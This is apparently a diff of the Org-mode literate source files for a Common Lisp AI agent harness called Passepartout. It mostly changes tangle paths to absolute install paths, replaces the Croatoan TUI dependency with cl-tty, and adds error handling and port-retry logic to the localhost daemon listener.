+                       (when chr (input-insert-char chr))))))))
+          (render-frame curr-fb w h)
+          (flush-framebuffer prev-fb curr-fb be)
+          (rotatef prev-fb curr-fb)
+          (sleep 0.05))))))
+#+end_src

org/core-act.org

@@ -2,7 +2,7 @@
 #+AUTHOR: Agent
 #+FILETAGS: :harness:act:
 #+STARTUP: content
-#+PROPERTY: header-args:lisp :tangle ../lisp/core-act.lisp
+#+PROPERTY: header-args:lisp :tangle /home/user/.local/share/passepartout/lisp/core-act.lisp
 
 * Overview: Architectural Intent
 

org/core-manifest.org

@@ -2,7 +2,7 @@
 #+AUTHOR: Agent
 #+FILETAGS: :harness:manifest:
 #+STARTUP: content
-#+PROPERTY: header-args:lisp :tangle ../passepartout.asd
+#+PROPERTY: header-args:lisp :tangle /home/user/.local/share/passepartout/passepartout.asd
 
 * Overview: Architectural Intent
 
@@ -43,11 +43,11 @@ Tests are embedded directly in each module's source file — see the `* Test Sui
 
 ** TUI System
 
-The TUI is a standalone system that depends on Croatoan (ncurses bindings) in addition to the core opencortex system. It's loaded separately because Croatoan requires a terminal and is not needed for daemon-mode operation.
+The TUI is a standalone system that depends on cl-tty (pure CL terminal UI) in addition to the core system. It's loaded separately because it requires a terminal and is not needed for daemon-mode operation.
 
 #+begin_src lisp
 (defsystem :passepartout/tui
-  :depends-on (:passepartout :croatoan :usocket :bordeaux-threads)
+  :depends-on (:passepartout :cl-tty :usocket :bordeaux-threads)
   :serial t
   :components ((:file "lisp/channel-tui-state")
                (:file "lisp/channel-tui-view")

org/core-memory.org

@@ -2,7 +2,7 @@
 #+AUTHOR: Agent
 #+FILETAGS: :harness:memory:
 #+STARTUP: content
-#+PROPERTY: header-args:lisp :tangle ../lisp/core-memory.lisp
+#+PROPERTY: header-args:lisp :tangle /home/user/.local/share/passepartout/lisp/core-memory.lisp
 
 * Overview: Architectural Intent
 

org/core-package.org

@@ -2,7 +2,7 @@
 #+AUTHOR: Agent
 #+FILETAGS: :passepartout:core:defpackage:
 #+STARTUP: content
-#+PROPERTY: header-args:lisp :tangle ../lisp/core-package.lisp
+#+PROPERTY: header-args:lisp :tangle /home/user/.local/share/passepartout/lisp/core-package.lisp
 
 * Overview: Architectural Intent
 

org/core-perceive.org

@@ -2,7 +2,7 @@
 #+AUTHOR: Agent
 #+FILETAGS: :harness:perceive:
 #+STARTUP: content
-#+PROPERTY: header-args:lisp :tangle ../lisp/core-perceive.lisp
+#+PROPERTY: header-args:lisp :tangle /home/user/.local/share/passepartout/lisp/core-perceive.lisp
 
 * Overview: Architectural Intent
 

org/core-pipeline.org

@@ -2,7 +2,7 @@
 #+AUTHOR: Agent
 #+FILETAGS: :harness:loop:
 #+STARTUP: content
-#+PROPERTY: header-args:lisp :tangle ../lisp/core-pipeline.lisp
+#+PROPERTY: header-args:lisp :tangle /home/user/.local/share/passepartout/lisp/core-pipeline.lisp
 
 * Overview: Architectural Intent
 
@@ -367,7 +367,10 @@ Boot sequence:
   
   (when (fboundp 'events-start-heartbeat)
     (events-start-heartbeat))
-  (start-daemon)
+  (handler-case (start-daemon)
+    (error (c)
+      (log-message "DAEMON: Failed to start — ~a" c)
+      (format *error-output* "~&DAEMON: Failed to start — ~a~%" c)))
 
   #+sbcl
   (sb-sys:enable-interrupt sb-unix:sigint

org/core-reason.org

@@ -2,7 +2,7 @@
 #+AUTHOR: Agent
 #+FILETAGS: :harness:reason:
 #+STARTUP: content
-#+PROPERTY: header-args:lisp :tangle ../lisp/core-reason.lisp
+#+PROPERTY: header-args:lisp :tangle /home/user/.local/share/passepartout/lisp/core-reason.lisp
 
 * Overview: Architectural Intent
 

org/core-skills.org

@@ -2,7 +2,7 @@
 #+AUTHOR: Agent
 #+FILETAGS: :org:skills:
 #+STARTUP: content
-#+PROPERTY: header-args:lisp :tangle ../lisp/core-skills.lisp
+#+PROPERTY: header-args:lisp :tangle /home/user/.local/share/passepartout/lisp/core-skills.lisp
 
 * Overview: Architectural Intent
 

org/core-transport.org

@@ -2,7 +2,7 @@
 #+AUTHOR: Agent
 #+FILETAGS: :harness:protocol:
 #+STARTUP: content
-#+PROPERTY: header-args:lisp :tangle ../lisp/core-transport.lisp
+#+PROPERTY: header-args:lisp :tangle /home/user/.local/share/passepartout/lisp/core-transport.lisp
 
 * Overview: Architectural Intent
 
@@ -147,6 +147,7 @@ The daemon sends a handshake message on connection, then enters a read loop, inj
 
 #+begin_src lisp
 (defvar *daemon-socket* nil)
+(defvar *daemon-port* nil "The port the daemon is actually listening on (may differ from default if 9105 was in use).")
 
 (defun client-handle-connection (socket)
   "Handles a single TUI/CLI client connection in a dedicated thread."
@@ -174,18 +175,30 @@ The daemon sends a handshake message on connection, then enters a read loop, inj
       (error (c) (log-message "CLIENT ERROR: ~a" c)))
     (ignore-errors (usocket:socket-close socket))))
 
-(defun start-daemon (&key (port 9105))
-  "Starts the network listener for TUI/CLI clients."
-  (setf *daemon-socket* (usocket:socket-listen "127.0.0.1" port :reuse-address t))
-  (log-message "DAEMON: Listening on localhost:~a" port)
-  (bt:make-thread
-   (lambda ()
-     (loop
-       (let ((client-socket (usocket:socket-accept *daemon-socket*)))
-         (when client-socket
-           (bt:make-thread (lambda () (client-handle-connection client-socket))
-                          :name "passepartout-client-handler")))))
-   :name "passepartout-server-listener"))
+(defun start-daemon (&key (port 9105) (max-retries 10))
+  "Starts the network listener for TUI/CLI clients.
+If PORT is taken, tries subsequent ports up to PORT+MAX-RETRIES."
+  (loop for attempt from 0 below max-retries
+        for p = (+ port attempt)
+        do (handler-case
+               (progn
+                 (setf *daemon-socket* (usocket:socket-listen "127.0.0.1" p :reuse-address t))
+                 (log-message "DAEMON: Listening on localhost:~a" p)
+                 (setf *daemon-port* p)
+                 (bt:make-thread
+                  (lambda ()
+                    (loop
+                      (let ((client-socket (usocket:socket-accept *daemon-socket*)))
+                        (when client-socket
+                          (bt:make-thread (lambda () (client-handle-connection client-socket))
+                                         :name "passepartout-client-handler")))))
+                  :name "passepartout-server-listener")
+                 (return p))
+             (usocket:address-in-use-error ()
+               (when (= attempt (1- max-retries))
+                 (log-message "DAEMON: All ports ~d-~d in use — giving up" port (+ port max-retries -1))
+                 (error "No available port for daemon"))
+               (log-message "DAEMON: Port ~d in use, trying ~d..." p (1+ p))))))
 #+end_src
 
 ** Handshake Logic

org/cost-tracker.org

@@ -1,7 +1,7 @@
 #+TITLE: Cost Tracker — per-session token cost accounting
 #+AUTHOR: Agent
 #+FILETAGS: :token-economics:cost-tracking:
-#+PROPERTY: header-args:lisp :tangle ../lisp/cost-tracker.lisp
+#+PROPERTY: header-args:lisp :tangle /home/user/.local/share/passepartout/lisp/cost-tracker.lisp
 
 * Architectural Intent
 

org/embedding-backends.org

@@ -1,7 +1,7 @@
 #+TITLE: SKILL: Embedding Gateway (org-skill-embedding-gateway.org)
 #+AUTHOR: Agent
 #+FILETAGS: :skill:system:embedding:
-#+PROPERTY: header-args:lisp :tangle ../lisp/embedding-backends.lisp
+#+PROPERTY: header-args:lisp :tangle /home/user/.local/share/passepartout/lisp/embedding-backends.lisp
 
 * Architectural Intent
 

org/embedding-native.org

@@ -1,7 +1,7 @@
 #+TITLE: SKILL: Native Embedding Inference (org-skill-embedding-native.org)
 #+AUTHOR: Agent
 #+FILETAGS: :skill:system:embedding:cffi:
-#+PROPERTY: header-args:lisp :tangle ../lisp/embedding-native.lisp
+#+PROPERTY: header-args:lisp :tangle /home/user/.local/share/passepartout/lisp/embedding-native.lisp
 
 * Architectural Intent
 

org/neuro-explorer.org

@@ -1,7 +1,7 @@
 #+TITLE: SKILL: Model Explorer (org-skill-model-explorer.org)
 #+AUTHOR: Agent
 #+FILETAGS: :skill:model:explorer:discovery:
-#+PROPERTY: header-args:lisp :tangle ../lisp/neuro-explorer.lisp
+#+PROPERTY: header-args:lisp :tangle /home/user/.local/share/passepartout/lisp/neuro-explorer.lisp
 
 * Architectural Intent
 

org/neuro-provider.org

@@ -1,7 +1,7 @@
 #+TITLE: SKILL: Unified LLM Backend (org-skill-unified-llm-backend.org)
 #+AUTHOR: Agent
 #+FILETAGS: :skill:model:provider:llm:
-#+PROPERTY: header-args:lisp :tangle ../lisp/neuro-provider.lisp
+#+PROPERTY: header-args:lisp :tangle /home/user/.local/share/passepartout/lisp/neuro-provider.lisp
 
 * Architectural Intent
 

org/neuro-router.org

@@ -1,7 +1,7 @@
 #+TITLE: SKILL: Model Router (org-skill-model-router.org)
 #+AUTHOR: Agent
 #+FILETAGS: :system:model:routing:
-#+PROPERTY: header-args:lisp :tangle ../lisp/neuro-router.lisp
+#+PROPERTY: header-args:lisp :tangle /home/user/.local/share/passepartout/lisp/neuro-router.lisp
 
 * Overview: Quadrant-Based Model Routing
 

org/programming-lisp.org

@@ -1,7 +1,7 @@
 #+TITLE: SKILL: Utils Lisp (org-skill-utils-lisp.org)
 #+AUTHOR: Agent
 #+FILETAGS: :skill:utils:lisp:validation:evaluation:
-#+PROPERTY: header-args:lisp :tangle ../lisp/programming-lisp.lisp
+#+PROPERTY: header-args:lisp :tangle /home/user/.local/share/passepartout/lisp/programming-lisp.lisp
 
 * Architectural Intent: The Lisp Surgeon's Toolkit
 

org/programming-literate.org

@@ -1,7 +1,7 @@
 #+TITLE: SKILL: Literate Programming (org-skill-literate-programming.org)
 #+AUTHOR: Agent
 #+FILETAGS: :system:literate:tangle:
-#+PROPERTY: header-args:lisp :tangle ../lisp/programming-literate.lisp
+#+PROPERTY: header-args:lisp :tangle /home/user/.local/share/passepartout/lisp/programming-literate.lisp
 
 * Overview
 This skill enforces the literal programming discipline for all Passepartout source code. It defines the rules for one-function-per-block, prose-before-code, reflecting working code back from the REPL to Org, and the tangle mandate (never edit .lisp directly). Every Org file that contains Lisp code should follow the rules defined here.

org/programming-org.org

@@ -1,7 +1,7 @@
 #+TITLE: SKILL: Utils Org (org-skill-utils-org.org)
 #+AUTHOR: Agent
 #+FILETAGS: :skill:utils:org:
-#+PROPERTY: header-args:lisp :tangle ../lisp/programming-org.lisp
+#+PROPERTY: header-args:lisp :tangle /home/user/.local/share/passepartout/lisp/programming-org.lisp
 
 * Overview
 Structural manipulation tools for Org-mode files. This skill handles reading, writing, and modifying Org files at the AST level: finding headlines by ID or title, setting properties and TODO states, adding new headlines, generating UUIDs, and converting ASTs back to Org text. It also implements the privacy filter — when reading an Org file, it strips headlines tagged with ~@personal~ (or any tag in the Dispatcher's privacy tags) and rejects files with matching ~#+FILETAGS:~.

org/programming-repl.org

@@ -1,7 +1,7 @@
 #+TITLE: SKILL: REPL (org-skill-repl.org)
 #+AUTHOR: Agent
 #+FILETAGS: :system:repl:interactive:debug:
-#+PROPERTY: header-args:lisp :tangle ../lisp/programming-repl.lisp
+#+PROPERTY: header-args:lisp :tangle /home/user/.local/share/passepartout/lisp/programming-repl.lisp
 
 * Overview
 The *REPL Skill* provides persistent Lisp evaluation, inspection, and debugging capabilities. This enables the agent to verify behavior at runtime rather than just at the text level.

org/programming-standards.org

@@ -2,7 +2,7 @@
 #+AUTHOR: Agent
 #+FILETAGS: :system:engineering:chaos:
 #+DEPENDS_ON: org-skill-utils-lisp
-#+PROPERTY: header-args:lisp :tangle ../lisp/programming-standards.lisp
+#+PROPERTY: header-args:lisp :tangle /home/user/.local/share/passepartout/lisp/programming-standards.lisp
 
 * Overview
 The *Engineering Standards Skill* defines the REPL-first engineering lifecycle and enforces technical invariants, including the **Commit-Before-Modify** rule and **Chaos-Driven Development**.

org/programming-tools.org

@@ -1,7 +1,7 @@
 #+TITLE: SKILL: Programming Tools (programming-tools.org)
 #+AUTHOR: Agent
 #+FILETAGS: :programming:tools:cognitive:
-#+PROPERTY: header-args:lisp :tangle ../lisp/programming-tools.lisp
+#+PROPERTY: header-args:lisp :tangle /home/user/.local/share/passepartout/lisp/programming-tools.lisp
 
 * Cognitive Tools for Codebase Operations
 

org/security-dispatcher.org

@@ -1,7 +1,7 @@
 #+TITLE: SKILL: Security Dispatcher (org-skill-security-dispatcher.org)
 #+AUTHOR: Agent
 #+FILETAGS: :system:dispatcher:authorization:autonomy:
-#+PROPERTY: header-args:lisp :tangle ../lisp/security-dispatcher.lisp
+#+PROPERTY: header-args:lisp :tangle /home/user/.local/share/passepartout/lisp/security-dispatcher.lisp
 
 * Deep Reasoning: Beyond Permission
 

org/security-permissions.org

@@ -1,7 +1,7 @@
 #+TITLE: SKILL: Tool Permissions (org-skill-tool-permissions.org)
 #+AUTHOR: Agent
 #+FILETAGS: :skill:security:permissions:
-#+PROPERTY: header-args:lisp :tangle ../lisp/security-permissions.lisp
+#+PROPERTY: header-args:lisp :tangle /home/user/.local/share/passepartout/lisp/security-permissions.lisp
 
 * Overview: The Authorization Matrix
 

org/security-policy.org

@@ -1,7 +1,7 @@
 #+TITLE: SKILL: Policy (org-skill-policy.org)
 #+AUTHOR: Agent
 #+FILETAGS: :system:policy:constitutional:
-#+PROPERTY: header-args:lisp :tangle ../lisp/security-policy.lisp
+#+PROPERTY: header-args:lisp :tangle /home/user/.local/share/passepartout/lisp/security-policy.lisp
 
 * Architectural Intent: The Constitutional Layer
 

org/security-validator.org

@@ -1,7 +1,7 @@
 #+TITLE: SKILL: Protocol Validator (org-skill-protocol-validator.org)
 #+AUTHOR: Agent
 #+FILETAGS: :system:protocol:validation:
-#+PROPERTY: header-args:lisp :tangle ../lisp/security-validator.lisp
+#+PROPERTY: header-args:lisp :tangle /home/user/.local/share/passepartout/lisp/security-validator.lisp
 
 * Overview
 The Protocol Validator enforces schema compliance on every message entering or leaving the cognitive pipeline. It checks that messages are valid plists, that they have the required ~:type~ and ~:payload~ fields, and that the type is one of the known types (~:REQUEST~, ~:EVENT~, ~:RESPONSE~, ~:LOG~, ~:STATUS~). This prevents malformed messages from crashing the pipeline and ensures backward compatibility when the protocol evolves.

org/security-vault.org

@@ -1,7 +1,7 @@
 #+TITLE: SKILL: Credentials Vault (org-skill-credentials-vault.org)
 #+AUTHOR: Agent
 #+FILETAGS: :system:security:vault:
-#+PROPERTY: header-args:lisp :tangle ../lisp/security-vault.lisp
+#+PROPERTY: header-args:lisp :tangle /home/user/.local/share/passepartout/lisp/security-vault.lisp
 
 * Overview
 The *Credentials Vault* provides secure in-memory storage for sensitive API keys and session tokens.

org/sensor-time.org

@@ -1,7 +1,7 @@
 #+TITLE: Sensor-Time — temporal awareness skill
 #+AUTHOR: Agent
 #+FILETAGS: :skill:time:sensor:v0.6.0:
-#+PROPERTY: header-args:lisp :tangle ../lisp/sensor-time.lisp
+#+PROPERTY: header-args:lisp :tangle /home/user/.local/share/passepartout/lisp/sensor-time.lisp
 
 * Architectural Intent
 

org/symbolic-archivist.org

@@ -1,7 +1,7 @@
 #+TITLE: SKILL: Archivist (org-skill-archivist.org)
 #+AUTHOR: Agent
 #+FILETAGS: :skill:archivist:scribe:gardener:
-#+PROPERTY: header-args:lisp :tangle ../lisp/symbolic-archivist.lisp
+#+PROPERTY: header-args:lisp :tangle /home/user/.local/share/passepartout/lisp/symbolic-archivist.lisp
 
 * Overview
 

org/symbolic-awareness.org

@@ -2,7 +2,7 @@
 #+AUTHOR: Agent
 #+FILETAGS: :symbolic:awareness:skill:
 #+STARTUP: content
-#+PROPERTY: header-args:lisp :tangle ../lisp/symbolic-awareness.lisp
+#+PROPERTY: header-args:lisp :tangle /home/user/.local/share/passepartout/lisp/symbolic-awareness.lisp
 
 * Overview: Architectural Intent
 

org/symbolic-config.org

@@ -1,7 +1,7 @@
 #+TITLE: SKILL: Config Manager (org-skill-config-manager.org)
 #+AUTHOR: Agent
 #+FILETAGS: :skill:setup:config:
-#+PROPERTY: header-args:lisp :tangle ../lisp/symbolic-config.lisp
+#+PROPERTY: header-args:lisp :tangle /home/user/.local/share/passepartout/lisp/symbolic-config.lisp
 
 * Overview
 The *Config Manager* skill provides the Passepartout Agent with the capability to manage its own environment variables and provider configurations. It includes an interactive setup wizard for LLM providers, gateways, and system settings.

org/symbolic-diagnostics.org

@@ -1,7 +1,7 @@
 #+TITLE: SKILL: Diagnostics (org-skill-diagnostics.org)
 #+AUTHOR: Agent
 #+FILETAGS: :system:diagnostics:doctor:
-#+PROPERTY: header-args:lisp :tangle ../lisp/symbolic-diagnostics.lisp
+#+PROPERTY: header-args:lisp :tangle /home/user/.local/share/passepartout/lisp/symbolic-diagnostics.lisp
 
 * Why a Doctor?
 

org/symbolic-events.org

@@ -1,7 +1,7 @@
 #+TITLE: SKILL: Event Orchestrator (symbolic-events.org)
 #+AUTHOR: Agent
 #+FILETAGS: :system:orchestrator:hooks:cron:
-#+PROPERTY: header-args:lisp :tangle ../lisp/symbolic-events.lisp
+#+PROPERTY: header-args:lisp :tangle /home/user/.local/share/passepartout/lisp/symbolic-events.lisp
 
 * Architectural Intent
 

org/symbolic-identity.org

@@ -1,6 +1,6 @@
 #+TITLE: Symbolic Identity — Agent Self-Concept
 #+FILETAGS: :skill:identity:
-#+PROPERTY: header-args:lisp :tangle ../lisp/symbolic-identity.lisp
+#+PROPERTY: header-args:lisp :tangle /home/user/.local/share/passepartout/lisp/symbolic-identity.lisp
 
 * Overview
 Load `~/memex/IDENTITY.org` into the agent's self-concept at daemon

org/symbolic-memory.org

@@ -1,7 +1,7 @@
 #+TITLE: SKILL: Homoiconic Memory (org-skill-homoiconic-memory.org)
 #+AUTHOR: Agent
 #+FILETAGS: :harness:memory:homoiconic:
-#+PROPERTY: header-args:lisp :tangle ../lisp/symbolic-memory.lisp
+#+PROPERTY: header-args:lisp :tangle /home/user/.local/share/passepartout/lisp/symbolic-memory.lisp
 
 * Overview
 Because Lisp is homoiconic (code is data), memory objects can be read as executable forms. This skill provides the bridge between the org-object store and live Lisp evaluation — it can serialize an org-object into an s-expression, evaluate it to reconstruct state, and store the result back as a new object. This is the foundation of the agent's ability to save, restore, and inspect its own cognitive state at runtime.

org/symbolic-scope.org

@@ -1,7 +1,7 @@
 #+TITLE: SKILL: Context Manager (org-skill-context-manager.org)
 #+AUTHOR: Agent
 #+FILETAGS: :system:context:scoping:
-#+PROPERTY: header-args:lisp :tangle ../lisp/symbolic-scope.lisp
+#+PROPERTY: header-args:lisp :tangle /home/user/.local/share/passepartout/lisp/symbolic-scope.lisp
 
 * Overview
 

org/symbolic-self-improve.org

@@ -1,7 +1,7 @@
 #+TITLE: SKILL: Self-Improve (org-skill-self-improve.org)
 #+AUTHOR: Agent
 #+FILETAGS: :system:autonomy:self-improve:
-#+PROPERTY: header-args:lisp :tangle ../lisp/symbolic-self-improve.lisp
+#+PROPERTY: header-args:lisp :tangle /home/user/.local/share/passepartout/lisp/symbolic-self-improve.lisp
 
 * Overview: Self-Modification Primitives
 

org/symbolic-time-memory.org

@@ -1,7 +1,7 @@
 #+TITLE: Symbolic Time Memory — temporal memory queries
 #+AUTHOR: Agent
 #+FILETAGS: :skill:time:memory:v0.6.0:
-#+PROPERTY: header-args:lisp :tangle ../lisp/symbolic-time-memory.lisp
+#+PROPERTY: header-args:lisp :tangle /home/user/.local/share/passepartout/lisp/symbolic-time-memory.lisp
 
 * Architectural Intent
 

org/system-integration-tests.org

@@ -1,6 +1,6 @@
 #+TITLE: SKILL: System Integration Tests
 #+AUTHOR: Agent
-#+PROPERTY: header-args:lisp :tangle ../lisp/system-integration-tests.lisp
+#+PROPERTY: header-args:lisp :tangle /home/user/.local/share/passepartout/lisp/system-integration-tests.lisp
 
 * Architectural Intent
 

org/token-economics.org

@@ -1,7 +1,7 @@
 #+TITLE: Token Economics — caching, budget, and cost wiring
 #+AUTHOR: Agent
 #+FILETAGS: :token-economics:budget:caching:
-#+PROPERTY: header-args:lisp :tangle ../lisp/token-economics.lisp
+#+PROPERTY: header-args:lisp :tangle /home/user/.local/share/passepartout/lisp/token-economics.lisp
 
 * Architectural Intent